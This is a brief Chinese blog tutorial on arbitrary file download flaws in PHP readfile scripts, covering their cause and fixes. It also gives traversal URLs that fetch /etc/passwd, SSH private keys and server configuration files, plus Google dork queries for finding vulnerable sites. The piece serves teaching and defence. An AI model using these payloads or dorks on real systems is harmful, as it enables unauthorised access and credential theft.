浅谈任意文件下载漏洞

01 漏洞描述

某些网站可能因为业务需要,提供文件查看或者下载的功能,如果对用户查看或者需要下载的文件不做限制,那么一些攻击者可能构造恶意代码下载网站的敏感文件(源代码,数据库文件,登录密码等)

02 漏洞危害

理论上只要代码构造的好可以下载服务器的任何文件(代码脚本,服务器配置文件,数据库文件等),用得到的代码进行审计,那么这个网站的漏洞就彻底暴露了。

03 漏洞产生

附上源代码~

图是从别人那盗来的,不过这都不重要,现在来分析下。通过GET传值传进来一个file,然后是对file的定义,最后直接readfile,这中间没有对传进来的file进行判断,所以导致漏洞的发生。

04 漏洞利用

http://www.test.cn/readfile.php?file=/etc/passwd    //下载主机密码文件

http://www.test.cn/readfile.php?file=../index.php&path=C:\Windows\System32\inetsrv\MetaBase.xml      //IIS配置文件

http://www.test.cn/readfile.php?file=../../../readfile.php&path=C:\Program20%Files\mysql\my.ini               //Mysql配置文件

http://www.test.cn/readfile.php?file= /root/.ssh/id_rsa               //SSH密钥

05 漏洞搜索

可以用Google Hack或者url采集器采集目标

inurl : readfile.php?file=

inurl : download.php?file=

从参数名上看,大致是这些:

&RealPath=

&FilePath=

&filepath=

&Path=

&path=

&inputFile=

&url=

&Lang=

&dis=

&data=

&readfile=

&src


06 漏洞修复

过滤".",使用户在url中不能回溯上级目录

正则严格判断用户输入参数的格式

php.ini配置open_basedir限定文件访问范围

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,256评论 19 139
  • 一、什么才是”远程文件包含漏洞”? 回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来...
    喜欢吃栗子阅读 2,728评论 1 4
  • http://tieba.baidu.com/p/2310282657 什么是”远程文件包含漏洞”?服务器通过ph...
    查无此人asdasd阅读 2,080评论 0 2
  • 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直...
    付出从未后悔阅读 1,203评论 0 4
  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 4,824评论 0 11